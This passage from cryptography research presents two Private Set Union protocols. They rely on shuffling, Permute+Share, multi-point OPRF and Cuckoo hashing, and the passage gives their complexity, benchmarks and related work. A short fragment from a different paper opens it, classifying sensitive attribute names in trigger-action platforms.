are conventionally named in the format of xxxxAt, such as
OccurredAt or CreatedAt. Other common attribute names
include Date and Time.

Link. For all attributes we inspected of this category,
their names include either Link or Url. Furthermore,
we found that, out of these attributes, the ones whose
links are access-controlled (i.e. user’s login creden-

tials are required to access the information) are usu-
ally named as PublicUrl or EventUrl. On the con-
trary, links that can be used to directly download files
often start with one of the following keywords in
their names: Image, File, Video, Download, Record,
Document, Mp3, Photo, Audio, Picture, Share, and
Source.

Location. Location attributes contain one of these key-
words: Location, Longitude, Latitude, Where, and
Address.

User Info. Attributes in this category reveal information
about the user, including the user’s real name (FullName), on-
line identity (Username, User, Member), and their contact
information (Contact, Email, Number, From, To).

Event description. Attributes in this category provide
descriptive texts to the trigger event, including ProjectName,
TaskName, EventName, Description, About,
Note, Title, Tag, Summary, HTML, Section,
Field, Column, Row, Caption, FirstLinkUrl, and
EmbeddedCode.

Message. Attributes pertain to a text message or an email
includes Message, Body, Text, Content, and Subject.

Bookmark. Attributes related to a article or webpage book-
marked by the user usually includes the keywords Article,
Website, or Page.

Other. Other attributes that we found containing sensitive
information include financial information (Transaction,
Money, Payment, Amount), smart home (Temp, Pm, Co2,
Humidity, Indoor, Air, Concentration, Device,
Sensor, Camera,Thermostat, Switch, Doorbell,
Home, EnterOrExited), event duration (Ends, Duration),
and reminder lists (List).
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Abstract
Private Set Union (PSU) allows two players, the sender and
the receiver, to compute the union of their input datasets with-
out revealing any more information than the result. While
it has found numerous applications in practice, not much re-
search has been carried out so far, especially for large datasets.

In this work, we take shuffling technique as a key to de-
sign PSU protocols for the first time. By shuffling receiver’s
set, we put forward the first protocol, denoted as ΠR

PSU, that
eliminates the expensive operations in previous works, such
as additive homomorphic encryption and repeated operations
on the receiver’s set. It outperforms the state-of-the-art design
by Kolesnikov et al. (ASIACRYPT 2019) in both efficiency
and security; the unnecessary leakage in Kolesnikov et al.’s
design, can be avoided in our design.

We further extend our investigation to the application sce-
narios in which both players may hold unbalanced input
datasets. We propose our second protocol ΠS

PSU, by shuffling
the sender’s dataset. This design can be viewed as a dual ver-
sion of our first protocol, and it is suitable in the cases where
the sender’s input size is much smaller than the receiver’s.

Finally, we implement our protocols ΠR
PSU and ΠS

PSU in
C++ on big datasets, and perform a comprehensive evaluation
in terms of both scalability and parallelizability. The results
demonstrate that our design can obtain a 4-5× improvement
over the state-of-the-art by Kolesnikov et al. with a single
thread in WAN/LAN settings.

1 Introduction

Private set operations allow mutually distrustful parties to
perform set operations (like intersection and union) on their
datasets, while revealing no more information about their own
private input than what can be deduced from the results. Over
the past decade, much progress has been made on Private Set
Intersection (PSI), which has become considerably efficient
and been deployed widely in practice [6,18,27–29,31,32,34].

⋆ Corresponding authors.

In contrast, little attention has been drawn on Private Set
Union (PSU).

Like the well-researched PSI, PSU also has numerous ap-
plications [3, 4, 12, 19]. For example, it can be used for cyber
risk assessment and management. Specifically, “Individual
blacklists today suffer from several drawbacks that limit their
accuracy in malicious source identification. ... Aggregating
blacklists from different maintainers and across various at-
tack types can improve the accuracy of malicious source iden-
tification over any individual blacklist,” as pointed out by
Ramanathan et al. [37]. Therefore, it is significant for organi-
zations (namely, maintainers of IP blacklists) to compute the
joint list of individual IP blacklists, which will help minimize
vulnerabilities in their infrastructure. In addition, each indi-
vidual IP blacklist is generated based on a detection strategy
developed by the maintainer, which cannot be leaked; note
that certain attacks could be launched by the adversaries via
evading the detection strategy.

A straightforward way to obtain the joint list is to let the
organizations simply exchange their blacklists. However, this
will reveal the intersection of their blacklists. Then a curious
organization may deduce the detection strategy of the other
organization according to the IP addresses in the intersection1.
Whereas, he cannot do this via the IP addresses not in his own
blacklist2. Therefore, to mitigate the privacy concerns, what
we essentially need is to generate the joint blacklist with the
intersection hidden, which is exactly the functionality of PSU.

According to [1, 37], most blacklists in real scenarios con-
tain 1,000 - 500,000 IP addresses, and the update frequency
is expected to be 5 - 15 minutes. With our new PSU pro-
tocol ΠR

PSU (cf. the high level ideas in Section 1.1), a joint

1The curious organization knows his own detection strategy that is used
to identify the IP addresses in the intersection. Thus, it is reasonable for him
to deduce that a similar detection strategy is used by the other organization.

2Different organizations usually monitor different areas of the Internet,
as mentioned in [37]. Therefore, the curious organization knows nothing
about the traffic through these IP addresses. Even if the curious organization
can monitor the traffic, it is difficult to deduce the detection strategy as e.g.,
some sensitive strategies are based on features that can be only extracted
from encrypted data.
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blacklist can be obtained from individual blacklists of size
220 in 67.756s (cf. our experiments in Section 4) with a single
thread in the WAN setting, which is efficient enough for this
use case.

In addition, as mentioned in [17,19], PSU can be employed
to compute the union of cancer patients of different hospitals
while hiding the identities of the patients who had cancer
treatment at multiple hospitals, which involves patient privacy.
Also, it can be used for privacy-preserving aggregation of
network traffic statistics [4], merger of two Internet providers
without revealing the information of their existing networks
[3], and private database supporting full join [19]. Therefore,
it is highly desirable to develop efficient, scalable, and secure
PSU protocols.

Many interesting variants of PSU (e.g., multi-party, set-
size hidden, and shared-output PSU) have been proposed for
real-world applications. In this paper, we focus on PSU in
the two-party setting, where a sender and a receiver hold
sets X and Y respectively, and aim to compute their union
X ∪Y without revealing any more information than the result
(especially what are the items in X ∩Y ). Particularly, the goal
is to enable the receiver to learn no more information than
X ∪Y and the sender to learn nothing (see Section 2.1 for the
formal definition).

PSU for balanced datasets. The state-of-the-art work is by
Kolesnikov et al. [19]; there, they proposed the first scal-
able two-party PSU protocol based on symmetric-key tech-
niques. Before that, except for the circuit-based PSU [2], all
designs [7, 9, 17] rely on public-key operations like addi-
tive homomorphic encryption (AHE), which make the con-
structed protocols unscalable in practice, especially for large
datasets. To develop efficient PSU protocols, Kolesnikov et
al. introduced the notion of Reverse Private Membership Test
(RPMT) functionality as a basic building block.

A unified view for PSU design with single sender’s item.
Interestingly, when focusing on a special case of two-party
PSU where the sender’s data-size is 1, we observe that, the
designs [7, 9, 19] can be presented in the same framework3.
Please see Figure 1: the sender has only one item x and the re-
ceiver holds a set Y = {y1, · · · ,yn}, and we denote this special
case of PSU by (1,n)-PSU. We note that, protocols in this
design framework, consist of two phases: (1) the two parties
execute a RPMT functionality, through which the receiver ob-
tains a bit b, where b = 0 means x /∈ Y , otherwise x ∈ Y . The
receiver knows no more information about x beyond whether
x belongs to Y , and the sender learns nothing about Y . (2) if
b = 0 (which means x /∈ Y ), the receiver obtains x (and thus
{x}∪Y ) while the sender learns nothing.

Under this framework, in [7,9] the RPMT functionality has
been realized by employing homomorphic encryption, and in
this case the receiver is able to obtain x by a straightforward

3More precisely, [7,9,19] all realize a relaxed RPMT functionality where
if x /∈ Y , the information about x can be leaked to the receiver.

Sender ( ) Receiver ( )

if   

-

Figure 1: Design framework for (1,n)-PSU protocols.

decryption. As pointed out in [19], however, the public-key
operations have become the workhorse of these works. There-
fore, Kolesnikov et al. [19] proposed a new way of realizing
RPMT in the first phase, based only on symmetric-key oper-
ations, and then they implemented the second phase of the
design by using Oblivious Transfer (OT).

PSU design: From single to multiple sender’s items. Now
let’s consider how to extend the special case (1,n)-PSU into a
more general (m,n)-PSU, where m can be a very large integer.
Two different approaches, as shown in Figure 2, have been
proposed in [7, 9] and in [19], respectively.

For :

Sender ( ) Receiver ( )

-

if   

-

(a) [7, 9]

Sender ( ) Receiver ( )

/

/

/

-

(b) [19]

Figure 2: Two design frameworks for (m,n)-PSU protocols.

More concretely, in [7, 9], a generalized version of RPMT,
denoted as g-RPMT, has been used, to support a large input
set X = {x1,x2, . . . ,xm} from the sender. Please refer to Fig-
ure 2(a). The receiver needs only to encrypt Y once, and the
ciphertext for xi can be used to test if xi ∈ Y for all i ∈ [m].
However, we note that the schemes in [7,9] suffer from heavy
public-key operations.

In contrast, in [19] based on symmetric-key operations,
for each xi ∈ X from the sender, a (1,n)-PSU sub-protocol
will be executed; to implement (m,n)-PSU, thus, in total, m
number of (1,n)-PSU sub-protocols will be executed. Please
refer to Figure 2(b). Here for each (1,n)-PSU sub-protocol,
the receiver needs to perform a polynomial interpolation with
degree n for Y , which requires time O(n log2 n). Thus when
X’s size m = n, this approach will result in a quadratic com-
putation complexity O(n2 log2 n).

Bucketing techniques: The gain and the loss. To further
improve the performance, Kolesnikov et al. [19] introduced
the bucketing technique in PSU protocol design for the first
time. Please see Figure 3: First, the sets X and Y are inserted
into two simple hash tables with b bins, respectively, which
means that the set X (resp., Y ) is divided into b disjoint sub-
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sets X1, · · · ,Xb (resp., Y1, · · · ,Yb). Then, each bin is padded
with dummy items up to the maximum bin size ρ. Note that
b = O(n/ logn) and ρ = O(logn) in [19]. The two parties
perform a (ρ,ρ)-PSU sub-protocol on the items of each bin
separately. In this way, the complexity of each sub-protocol
on each bin is O(ρ2 log2

ρ), so the total cost can be reduced
to O(bρ2 log2

ρ) = O(n logn log2 logn).

Sender ( ) 

-

-

Receiver ( ) 

-

Figure 3: Bucketing technique in [19].

However, as mentioned by Kolesnikov et al. [19], the buck-
eting technique will incur certain information leakage about
the items in the intersection, during the execution; intuitively,
the receiver could learn if there are items in X ∩Y in certain
subsets Yi, where Yi ⊂Y . Note that in the ideal PSU, from the
view of receiver, any item in the entire set Y could be an item
in X ∩Y . But here, the receiver can know that some subsets
have items in X ∩Y and others do not. To address this issue,
Kolesnikov et al. proposed to add special items to each bin,
with the goal of reducing the leakage. Unfortunately, we find
that their way of adding only special items, is insufficient to
resolve the problem (More details are given in Section 5).

Kolesnikov et al.’s bucketing technique [19] is significant
since it improves the performance of the PSU design a lot;
however, we must note that, the downside of this bucketing
technique is that, the designed protocols will suffer from cer-
tain level of information leakage. This leakage may not be
necessary! Recall that, in prior works [7, 9] under the design
framework in Figure 2(a), all items in the receiver’s set Y
are processed at the same time; although the involved public-
key operations make the design much less scalable (than that
in [19]) for large datasets, the resulting protocol does not
suffer from the information leakage issue (as that in [19]).
Main question. Based on above discussions, we ask the fol-
lowing natural question:

Is it possible to design a PSU protocol to achieve the “best
of the two worlds,” i.e., (1) fast and scalable, and at the same
time, (2) without any unnecessary information leakage?

We will give an affirmative answer to this question. In
particular, we propose a practical, scalable two-party PSU
protocol named ΠR

PSU under the design framework in Fig-
ure 2(a) by shuffling the receiver’s set. Our protocol ΠR

PSU

relies only on lightweight symmetric-key primitives (along
with some OTs; we note the OTs are also needed in the state-
of-the-art result [19]). More details will be shown in Section
1.1 and Section 3.

PSU for unbalanced datasets. To the best of our knowledge,

previous works on PSU mainly focus on designing efficient
protocols for balanced datasets. We now investigate how to
design practical PSU protocols in the unbalanced application
scenarios, in which the receiver’s input size is significantly
larger than the sender’s, or vice versa. In fact, existing proto-
cols (including our ΠR

PSU above) are already very fast when
the size of receiver’s input is significantly smaller than the
sender’s, as the relatively heavy operations mainly depend on
the size of receiver’s set. However, in the case that the size of
receiver’s input is much larger than the sender’s, the perfor-
mance of these protocols is reduced significantly. Hence, the
second question we ask is:

Is it possible to design a fast and scalable PSU protocol
when the sender’s input size is much smaller than the re-
ceiver’s?

We answer this question affirmatively by presenting a new
protocol named ΠS

PSU; this new protocol can be viewed as
the dual version of ΠR

PSU, exactly by shuffling the sender’s
set. More details about protocol ΠS

PSU are given in Section
1.1 and Section 3.

1.1 Technical Overview
Protocol ΠR

PSU: shuffling receiver’s set. We now present
how to construct practical two-party PSU protocols follow-
ing the design framework in Figure 2(a). A big challenge is
that, we need to efficiently realize the functionality g-RPMT,
which allows the receiver to perform membership tests while
not revealing the receiver’s set Y to the sender. In previous
works [7, 9], functionality g-RPMT has been realized but not
efficiently due to the heavy public-key operations.

The high-level idea of our design is shown in Figure 4 and
the details are as follows. Initially, each item y∈Y is split into
two shares s and y⊕ s by an additive secret sharing, where s
is distributed uniformly at random and perfectly hides y. The
set Y = {y1, · · · ,yn} can be shared into two sets {s1, · · · ,sn}
and {y1⊕ s1, · · · ,yn⊕ sn}; the receiver will keep the former
herself, and send the latter to the sender. Now we can see that
for each item xi ∈ X , if it belongs to Y (i.e., ∃ j s.t. xi = y j),
then xi⊕ y j⊕ s j = s j. Thus the sender can compute and send
{xi⊕y1⊕s1, · · · ,xi⊕yn⊕sn} to the receiver, and the receiver
can check if the sender’s item xi belongs to Y by computing
the intersection of this set and {s1 · · · ,sn}. If empty, it means
xi /∈ Y . Otherwise, the receiver learns that xi ∈ Y .

Now, the receiver can learn if xi ∈Y without revealing Y to
the sender. However, if xi ∈ Y , the receiver can additionally
figure out which item of Y is exactly equal to xi according
to s j ∈ {xi⊕ y1⊕ s1, · · · ,xi⊕ yn⊕ sn} ∩ {s1, · · · ,sn} as she
knows the mapping of the shares {s1, · · · ,sn} to the items in
Y . Note that such information is not allowed to be obtained
by the receiver in the RPMT. Thus, next we need to find a
way to defend against such information leakage.

Recall that, the receiver is able to obtain additional in-
formation is due to the fact that the receiver knows which
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Figure 4: Core design idea of protocol ΠR
PSU for (m,n)-PSU.

share corresponds to which item in Y . Our key design idea
now is to break the mapping by shuffling the receiver’s set
(and shares) with a permutation not known to the receiver.
Together with the additive secret sharing explained before,
what we essentially need is a Permute+Share functional-
ity: taking as input a set Y = {y1, · · · ,yn} from the receiver
and a permutation π (over {1,2, · · · ,n}) from the sender,
the functionality outputs the shares {sπ(1), · · · ,sπ(n)} and
{yπ(1)⊕ sπ(1), · · · ,yπ(1)⊕ sπ(n)} to the receiver and the sender,
respectively. After executing this functionality, the sender
computes {xi⊕ yπ(1)⊕ sπ(1), · · · ,xi⊕ yπ(n)⊕ sπ(n)} and sends
it to the receiver. Then the receiver can check if the sender’s
item belongs to Y as before. Following this way, the receiver
will learn that there is an item sπ( j) ∈ {sπ(1), · · · ,sπ(n)} equal
to xi⊕yπ( j)⊕ sπ( j) if xi ∈Y , but she is unable to find out yπ( j)
according to sπ( j), as she does not know π.

At this point, it seems that xi can be completely hidden from
the receiver at the first glance. Unfortunately, xi⊕yπ( j)⊕ sπ( j)
may still leak partial information about xi to the receiver. This
is because yπ( j)⊕ sπ( j) is not distributed uniformly and inde-
pendently from the perspective of the receiver who knows
sπ( j) and yπ( j). To overcome this obstacle, we further em-
ploy multi-point Oblivious Pseudorandom Function (OPRF)4

F(k, ·) to conceal {x⊕ yπ(1) ⊕ sπ(1), · · · ,x⊕ yπ(n) ⊕ sπ(n)}.
More concretely, the receiver takes {sπ(1), · · · ,sπ(n)} as the
input to multi-point OPRF, then the sender receives the PRF
key k and the receiver obtains {F(k,sπ(1)), · · · ,F(k,sπ(n))}.
In this case, the sender with the key k can compute Ii =
{F(k,xi⊕ yπ(1)⊕ sπ(1)), · · · ,F(k,xi⊕ yπ(n)⊕ sπ(n))} for each
xi and sends it to the receiver. Then the receiver proceeds to
perform the membership test as before, but learns nothing
about xi as she does not know the PRF key k. For the second
phase, the receiver can receive xi /∈ Y through OT as in [19].

Optimization. Following our core idea, it can be seen that the
protocol executes Permute+Share and multi-point OPRF

4Multi-point OPRF is evaluated on different inputs with the same key,
while single-point OPRF is evaluated with a different key for each input.

Sender Receiver

Cuckoo
hash
table

(1)

(2)

(3)

(4)

Figure 5: ΠR
PSU: Optimization via Cuckoo hashing.

only once for all xi ∈ X , but needs to send m sets (i.e.,
I1, · · · , Im) to receiver. In addition, the sender and receiver
need to execute OT sub-protocol m times. Fortunately, we
find that the functionality Permute+Share (resp. multi-
point OPRF) can be securely realized by the protocols in
[5, 22] (resp. [6]) with computation and communication cost
O(n logn) (resp. O(n)). However, the sender needs to com-
pute and send Ii containing n PRF values for each xi ∈ X ,
thus it results in a quadratic computation and communication
complexity O(mn).

The main reason for this quadratic complexity is that the
sender does not know which item in Y may be equal to
his item xi, so he has to XOR xi with all shares {yπ(1) ⊕
sπ(1), · · · ,yπ(n)⊕ sπ(n)}. To improve the efficiency, our key
idea is to reduce the number of items in Y that could be equal
to xi by leveraging Cuckoo hashing [26] (defined in Sec-
tion 2.2). Briefly, we insert Y into a Cuckoo hash table with γ

hash functions, ε ·n bins and stash size 05, and then execute
ΠR

PSU over the hash table. To make it clear, we take a con-
crete example to explain the optimization via Cuckoo hashing,
as illustrated in Figure 5. In particular, we assume that the
sender’s item to be checked is xi, and that the receiver’s set
Y = {y1, · · · ,y6}, can be inserted to the Cuckoo hash table
with 8 bins and 2 hash functions h1(·) and h2(·)6. Then the
optimized protocol works as follows: (1) The receiver inserts
Y into the Cuckoo hash table and adds a dummy item d to
each empty bin, then obtains the filled table denoted by Y ∗. (2)
The receiver and the sender execute Permute+Share with a
randomly chosen permutation π and Y ∗ as inputs, and obtain
the shuffled secret share sets Sh1 and Sh2, respectively. Here,
s1

d and s2
d in Sh1 are the shares of dummy item and s1

d ̸= s2
d .

The dotted arrows mean that after permutation π, the 4-th
(resp. 7-th) item in Sh1 is the share of the 2-th (resp. 6-th)
item in Y ∗, but the receiver does not know the corresponding
relations. In addition, the other share is the 4-th (resp. 7-th)
item in Sh2. (3) With h1(·) and h2(·), the sender computes

5According to the empirical analysis in [34], the stash size can be reduced
to 0 by increasing the number of hash functions while achieving a hashing
failure probability of 2−40.

6Note that the parameters used here are to simplify the explanation, please
refer to Section 4.1 for the concrete parameter choices.
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h1(xi) and h2(xi), say h1(xi) = 2 and h1(xi) = 6; we note that
according to the principle of filling the Cuckoo hash table, the
potential item of Y that is equal to xi must be inserted to the
position h1(xi) or h2(xi) of Y ∗. Then he uses π to locate the
corresponding shares (namely, 4-th and 7-th items) in Sh2 and
generates Ii with them. (4) The sender sends Ii to the receiver
and the receiver proceeds as before.

Based on the above optimization, we can reduce the num-
ber of items in Ii to a constant γ that is the number of hash
functions. Hence, the computation and communication cost
incurred by {I1, · · · , Im} can be reduced to O(γm). In Table 1,
we summarize the computation and communication costs of
main steps in our ΠR

PSU. And we will give a more detailed
complexity analysis by taking account of the error rate and
security parameters in Section 3.3.

Table 1: The computation and communication costs of ΠR
PSU.

Permute+Share multi-point OPRF {Ii}i∈[m] OT

Costs O(n logn) O(n) O(m) O(m)

m is the sender’s set size; n is the receiver’s set size.

Protocol ΠS
PSU: shuffling sender’s set. From Table 1 we can

see that when m≫ n the overall cost of ΠR
PSU is dominated by

{Ii}i∈[m] and OT that are linear in m. However, when m≪ n
the cost is dominated by Permute+Share that is superlinear
in n. Therefore, when considering unbalanced datasets, ΠR

PSU

is more suitable for the case that the sender’s set size is much
larger than the receiver’s (i.e., m≫ n). To develop efficient
solutions for the other case where m≪ n, we propose a second
protocol ΠS

PSU by shuffling the sender’s set. As a whole, it
can be regarded as the dual version of ΠR

PSU. The high-level
idea is shown in Figure 6.

Sender ( ) Receiver ( )

multi-point  

if  

 For :

Figure 6: Core idea of ΠS
PSU for (m,n)-PSU.

The basic idea of ΠS
PSU is to share the sender’s set X into

two share sets obtained by the sender and the receiver, respec-
tively. Then, the sender sends the shares of the items in X \Y
to the receiver such that the receiver can recover the items
in X \Y . While being shared, the sender’s set X needs to be
shuffled by a permutation not known by the sender such that
the sender cannot know the correspondence between shares
and the items in X . ΠS

PSU can also be optimized via Cuckoo

hashing following the similar idea as in ΠR
PSU. More specifi-

cally, the sender’s set X and the receiver’s set Y are inserted
into a Cuckoo hash table and a simple hash table (defined in
Section 2.2), respectively. Then, the receiver uses the items
stored in each bin (of the simple hash table), rather than all the
items in Y , to generate Ii. Therefore, the size of Ii is reduced
to the maximum bin size of the simple hash table. As pointed
out in [19], however, the receiver may learn if each bin has
any item in X ∩Y . To avoid this leakage, we use the shuffling
technique again. For sake of clarity, we include an example
in the full version [16] to illustrate our main idea of ΠS

PSU.

1.2 Our Contributions

We explore new techniques of designing two-party PSU pro-
tocols for both balanced and unbalanced datasets, and propose
two efficient and secure PSU protocols ΠR

PSU and ΠS
PSU sup-

porting big datasets in Section 3. More specifically, our main
contributions are summarized as below.

New protocols. We for the first time, give a scalable and se-
cure construction, named ΠR

PSU, for realizing two-party PSU.
Note that the state-of-the-art design by Kolesnikov et al. [19]
faces the issue of partial information leakage of items in inter-
section. While this protocol is efficient for balanced datasets,
we further extend our study to the unbalanced case in the
sense that the receiver’s input size is significantly larger than
the sender’s, or vice versa. Then we propose a second efficient
and secure protocol, dubbed ΠS

PSU. This protocol is suitable in
the applications where the sender’s input size is much smaller
than the receiver’s; this can be viewed as a dual version of our
first protocol which is more suitable for the opposing case.

New design techniques. To avoid the leakage incurred by
the leverage of bucketing technique on the receiver’s set, our
key point is to process the receiver’s set at the same time.
Then we design ΠR

PSU under the framework in Figure 2(a) by
shuffling the receiver’s set. Regarding designing PSU proto-
cols for unbalanced datasets, our observation is to perform
heavy operations on the smaller dataset. Thus we design ΠS

PSU

by shuffling the sender’s set for the case that the sender’s
set size is much smaller than the receiver’s. With the key
technique shuffling, our design avoids expensive computa-
tions like public-key operations and repeated operations on
sender/receiver’s set. Furthermore, we reduce the communi-
cation and computation overhead by employing the Cuckoo
hashing, which is for the first time used in PSU.

Implementation & evaluation. We implement our proto-
cols in C++ and perform a comprehensive evaluation in Sec-
tion 4. The results demonstrate that ΠR

PSU is 4-5× faster than
the state-of-the-art PSU protocol [19] with a single thread
in WAN/LAN settings. Moreover, we show that our proto-
cols support parallelization; ΠR

PSU and ΠS
PSU can achieve a

speedup of 2.89× and 3.49× respectively at 8 threads in LAN
setting. Beyond, the results indicate that our protocols are also
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efficient and scalable for unbalanced datasets.
New leakage analysis. In Section 5 we show the bucketing
technique adopted in the state-of-the-art design [19] will leak
the information of intersection. Specifically, we demonstrate
that after knowing all the sender’s items in a bin belong to the
intersection, the receiver can learn that her corresponding bin
has items in X ∩Y with an extremely large probability.

1.3 Related Work
As a special case of secure two-party computation, privacy-
preserving set operation also includes generic and custom
constructions. The generic PSI protocol (also called circuit-
based PSI) was firstly proposed by Huang et al. [13], and the
first generic PSU protocol was proposed in [2]. In general,
the generic protocols are less efficient than the custom ones
but more flexible to support different functionalities. In this
work, we are mainly interested in the custom constructions.

Over the past decades, a large amount of work has been
done on specific PSI (e.g., [6, 18, 21, 27–29, 31, 32, 34]). The
recent works are mainly based on oblivious transfer extension
[25, 29, 33, 39] and various OPRF constructions [6, 18, 27, 28,
40]. The state-of-the-art protocols have become considerably
efficient for practical applications.

Although PSI and PSU are similar and they share some
building blocks (e.g., OPRF [18, 19, 27]), PSU cannot be
obtained by directly employing existing PSI techniques, and
little process has been made towards practical PSU so far.

The first PSU protocol was proposed by Kissner and Song
in [17], and realized by using threshold additively homomor-
phic encryption (AHE) and polynomial representation. Later,
Frikken [9] proposed a new PSU protocol with intersection
hidden by leveraging similar techniques. Roughly, their pro-
tocol works as follows: the receiver holding the secret key of
AHE sends to the sender the encrypted polynomial represen-
tation Enc( f ) of her own set Y , then the sender with set X
calculates the tuples (Enc(x f (x)),Enc( f (x))) for each x ∈ X ,
and sends them to the receiver. If x ∈ Y , the receiver can only
recover (0,0) from the tuple without learning any information
about x. Otherwise, the receiver can recover (x f (x), f (x)) and
then obtain x. Following the similar idea in [9], Davidson and
Cid [7] presented a new protocol by replacing polynomial
representation with inverted Bloom Filter7.

All the above protocols encrypt the (polynomial or Bloom
Filter) representation of the receiver’s set using AHE and
perform a large number of operations in an encrypted man-
ner. As pointed out by Kolesnikov et al. in [19], the public-
key operations have become the workhorse of these works.
Then they proposed the first scalable PSU protocol using only
symmetric-key techniques. In their work, a polynomial is also
used to represent the receiver’s set, but the receiver is required
to re-generate her polynomial representation for testing each

7If there is an item mapped to an entry of Bloom Filter, the entry will be
filled with a bit 0, otherwise, with a bit 1.

item of the sender. By this way, the design in [19] avoids the
usage of the expensive additive homomorphic encryption, but
still suffers from the repeated high-degree polynomial interpo-
lations. To further reduce this cost, Kolesnikov et al. proposed
an efficient optimization by using the bucketing technique.

Next, we summarize the asymptotic complexities of the
above PSU protocols [7, 9, 17, 19] and ours in Table 2. In
terms of asymptotic complexity, the scheme in [7] is the most
efficient. However, according to the experimental comparison
shown in [19], the protocol in [7] is 7607× slower than [19]
due to heavy public-key operations. Note that our protocol
ΠR

PSU is 4-5× faster than [19]. On the other hand, the PSU pro-
tocols in [19] and our work are only based on symmetric-key
operations, but the complexities are super-linear. Therefore,
designing a PSU protocol with linear complexity by using
symmetric-key operations is still left open.

Protocol Comm. (bits)
Comp. (#Ops)

pub-key symm-key
[17] O(n2) O(n2) -
[9] O(n) O(n log log(n)) -
[7] O(n) O(n) -

[19] O(n log(n)) - O(n log(n))

Π
R/S
PSU O(n log(n)) - O(n log(n))

Table 2: Comparisons of asymptotic communication (bits) and
computation (#operations) costs of two-party PSU protocols
in the semi-honest setting. pub/symm-key: public/symmetric-
key operations. Here, n is the size of the parties’ input sets.
For [19] and ours, we ignore the pub-key cost of κ base OTs
where κ is computational security parameter.

We now provide a concrete comparison for the state-of-the-
art results on PSU and on PSI for the large datasets of size 220

in LAN setting. We can see that the performance of PSI is far
better than that of PSU. Our ΠR

PSU outperforms Kolesnikov
et al. [19] by a factor of 5.4, but is still 20× lower than the
PSI protocol in [18]. More research on PSU design should be
encouraged to further improve the performance.

PSU PSI
[19] ΠR

PSU [18] [40]
Time (s) 263.476 48.703 2.441 5.396

Comm.(MB) 2470.11 1338.79 128.5 53.55

Table 3: Comparisons of total runtime (in seconds) and com-
munication (in MB) between the state-of-the-art works on
PSU and PSI for set size 220 in LAN setting.

Finally, we remark that in a concurrent and independent
work, Garimella et al. [10] improve the results in [19] by
a factor of 2 - 2.5× also by leveraging shuffling technique.
Similar to that in [19], polynomial representation is also used
for receiver’s set in [10]; the difference is that, repeated poly-
nomial interpolations can be avoided in [10], leading to better
performance than that in [19]. However, we note that in our
work the polynomial interpolations can be entirely avoided;
thus we can obtain even better performance than that in [10].
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2 Preliminaries

Notation. We denote by κ and λ the computational and statis-
tical security parameters, respectively. We use [m] to denote
the set {1,2, · · · ,m}, and X = {x1, · · · ,xn} to denote a set
with size |X |= n. Given a permutation π on n items, we use
π(X) to denote the set {xπ(1),xπ(2), · · · ,xπ(n)}.

2.1 Security Model

Our PSU protocol involves two parties, and we follow the
static semi-honest security definition in [20] for secure two-
party computation in this work.

Static Semi-Honest Security. There are two parties de-
noted by P0 and P1. Let fi(X ,Y ) be the output for Pi in
the ideal functionality F and f (X ,Y ) = ( f0(X ,Y ), f1(X ,Y ))
be the joint output. Let the view of Pi during an execu-
tion of Π on inputs (X ,Y ) be viewΠ

i (X ,Y ) that consists of
the input X or Y , the contents of Pi’s internal random tape
and the messages received during the execution. Similarly,
outputΠ

i (X ,Y ) is the output of Pi during an execution of Π

on inputs (X ,Y ) and can be computed from the Π’s view.
And the joint output of both parties is outputΠ(X ,Y ) =
(outputΠ

0 (X ,Y ),outputΠ
1 (X ,Y )).

Definition 2.1. A protocol Π securely computes F against
static semi-honest adversaries if there exist probabilistic
polynomial-time (PPT) algorithms Sim0 and Sim1 such that

(Sim0(X , f0(X ,Y )), f (X ,Y ))
c≡ (viewΠ

0 (X ,Y ),outputΠ(X ,Y )),

(Sim1(Y, f1(X ,Y )), f (X ,Y ))
c≡ (viewΠ

1 (X ,Y ),outputΠ(X ,Y )).

PSU Functionality. The ideal functionality for PSU, denoted
as F n1,n2

PSU , is shown in Figure 7 (except for the text marked in
blue). This functionality allows two players, the sender and
the receiver, who hold private datasets with size n1 and n2,
respectively, to compute the union of the both input datasets.
Note that our formulation of PSU functionality is identical to
that in [19], and we allow only the receiver, not the sender, to
obtain the union of the two input sets.

We remark that, in this formulation, based on the obtained
output, the receiver can easily calculate the size of the inter-
section of the two input sets. However, the receiver is not
allowed to learn any additional information about the data
items in the intersection. On the other hand, the sender is
not allowed to learn any information about the union or the
intersection of the two private input sets.

With the goal of investigating PSU design comprehensive,
we further consider a natural relaxation of the ideal PSU
functionality, by allowing the sender to learn the size of the
intersection; as mentioned above, the receiver by default, is
allowed to obtain the intersection size. We denote the relaxed
ideal functionality as F n1,n2

PSU∗ ; we also show it in Figure 7 while
the difference from F n1,n2

PSU is marked in blue.

Parameters:

• Set size for sender S is n1, set size for receiver R is n2;

• Maximum length of all elements is ℓ.

Functionality:

1. Wait for input X = {x1, · · · ,xn1} from S , abort if |X | ̸= n1
or ∃ xi ∈ X such that |xi|> ℓ;

2. Wait for input Y = {y1, · · · ,yn2} from R , abort if |Y | ̸= n2
or ∃ yi ∈ Y such that |yi|> ℓ;

3. Give output |X ∩Y | to S , and give output X ∪Y to R , then
R can compute |X ∩Y |= n1 +n2−|X ∪Y |.

Functionality F n1,n2
PSU / F n1,n2

PSU∗

Figure 7: Ideal Functionalities for PSU (The difference is
marked in blue).

2.2 Building Blocks

We briefly recollect the main cryptographic tools, includ-
ing Permute+Share, multi-point Oblivious PRF, 1-out-of-2
Oblivious Transfer, simple hashing and Cuckoo hashing.

Permute + Share. The Permute+Share functionality FPS

is defined by Chase et al. in [5]. There are two parties
P0 and P1 in this functionality, where P0 possesses a set
X = {x1, · · · ,xn} of size n and P1 picks a permutation π on
n elements. The goal of FPS is to let P0 learn the shares
{sπ(1),sπ(2), · · · ,sπ(n)} and P1 learn nothing but the other
shares {xπ(1)⊕ sπ(1),xπ(2)⊕ sπ(2), · · · ,xπ(n)⊕ sπ(n)}. As men-
tioned in [5], some earlier works [13, 22] can also be used
for securely realizing FPS. These solutions all have computa-
tion/communication complexity O(n logn). The functionality
FPS is shown in Figure 11 in Appendix A.

Multi-Point Oblivious PRF. Oblivious PRF (OPRF) is a
protocol involving two parties P0 and P1, where P1 obtains
the key of the PRF F(·, ·) and P0 takes as input x and ob-
tains F(k,x). OPRF has been widely used in PSI protocols,
and extensive efforts have been made to develop efficient
single-point OPRF protocols [8, 11, 18, 30]. Most recently,
Pinkas et al. [27] proposed for the first time to use multi-
point OPRF to realize more efficient PSI protocols. Particu-
larly, in a multi-point OPRF, P0 takes as input {x1, · · · ,xn}n≥1
and obtains {F(k,x1), · · · ,F(k,xn)}n≥1 while P1 obtains the
PRF key k. Later, Chase et al. [6] designed a more efficient
multi-point OPRF with computation complexity O(n) while
the computation cost of [27] is O(n log2 n). Moreover, the
